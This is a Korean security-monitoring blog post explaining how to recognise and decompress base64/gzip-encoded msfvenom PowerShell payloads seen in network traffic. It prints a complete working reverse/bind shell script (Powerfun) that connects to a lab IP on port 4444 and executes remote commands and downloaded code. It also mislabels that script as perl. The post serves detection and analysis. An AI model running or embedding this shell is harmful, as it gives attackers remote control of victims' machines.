Metasploit Framework 안에 유용한 도구인 msfpayload, msfencode 등 여러 도구가 포함되어 있는데 msfvenom은 모든 기능을 집합한 단일 도구에 결합을 하여 한줄 코드로 exploit 실행 파일 및 악성 쉘 코드 제작이 가능합니다.
msfvenom 으로 사용하여 간단하게 어려운 쉘코드를 제작이 가능하며 해당 쉘코드를 인코딩하면은 디코딩 하지 않으면 확인이 안됩니다.
보안관제 실무 업무를 하면서 네트워크 트래픽을 분석하는 입장에서는 header, user-agent, refer, lang, page number 등등의 정보를 확인하는데 그 중에서 base64로 인코딩된 문자를 종종 확인할 수 있습니다.
대부분의 base64는 utf-8로 설정하여 변환하면 실내용이 확인가능하는데 msfvenom에서 제작한 shellcode를 인코딩한 경우에는 utf-8로 설정하여 base64로 디코드해도 변환이 안되고 깨지는 경우가 많이 있는데 이 때는 공격인지 구분이 안되는 경우가 있어서 shellcode 를 분석하는 방법에 대하여 설명하려고 합니다.
msfvenom shellcode 제작
위는 windows를 대상으로 reverse_tcp 세션 연결을 하는 파워쉘 악성코드를 제작하였다. 위를 확인하면 일반 악성코드가 아닌 base64 인코딩되어 있는 코드를 GzipStream()으로 압축하고 있는 것을 확인할 수 있다.
http://www.txtwizard.net/compression
온라인 텍스트 압축 툴 - gzip, bzip2 and deflate
Free online text compression tools - gzip, bzip2 and deflate. This simple online text compression tool is compressing a plain text and decompressing compressed base64 string with gzip, bzip2 and deflate algorithms 압축 텍스트 gz bzip2 deflate 압축 �
www.txtwizard.net
위의 페이지를 가면 압축된 base64를 디코딩 할 수 있다.
msfvenom을 활용한 base64 인코딩을 압축해제하면 아래와 같은 perl 스크립트로 이루어져있다는 것을 확인 할 수 있다.
# Powerfun - Written by Ben Turner & Dave Hardy
function Get-Webclient
{
$wc = New-Object -TypeName Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun
{
Param(
[String]$Command,
[String]$Sslcon,
[String]$Download
)
Process {
$modules = @()
if ($Command -eq "bind")
{
$listener = [System.Net.Sockets.TcpListener]4444
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("192.168.219.103",4444)
}
$stream = $client.GetStream()
if ($Sslcon -eq "true")
{
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient("192.168.219.103")
$stream = $sslStream
}
[byte[]]$bytes = 0..20000|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
if ($Download -eq "true")
{
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
}
powerfun -Command reverse -Sslcon true
네트워크 패킷을 확인하면 일부 base64는 위와 같이 "~/~/~/" 패턴 형식으로 이루어져 있는 것을 확인 할 수 있는데 이 때는 한 번 위 사이트로 접속하여 압축해제를 시도해보는 것을 권장한다.
그럼 20000
'보안 > 보안관제' 카테고리의 다른 글
제로보드 취약점 (0) | 2020.02.23 |
---|---|
FCKeditor 취약점 조사 및 탐지 패턴 (2) | 2020.01.30 |
ThinkPHP 원격코드 실행 취약점 (CVE-2018-20062) (0) | 2020.01.29 |
IDS/IPS 이해 (0) | 2020.01.26 |
IDS/IPS의 차이점 (2) | 2020.01.26 |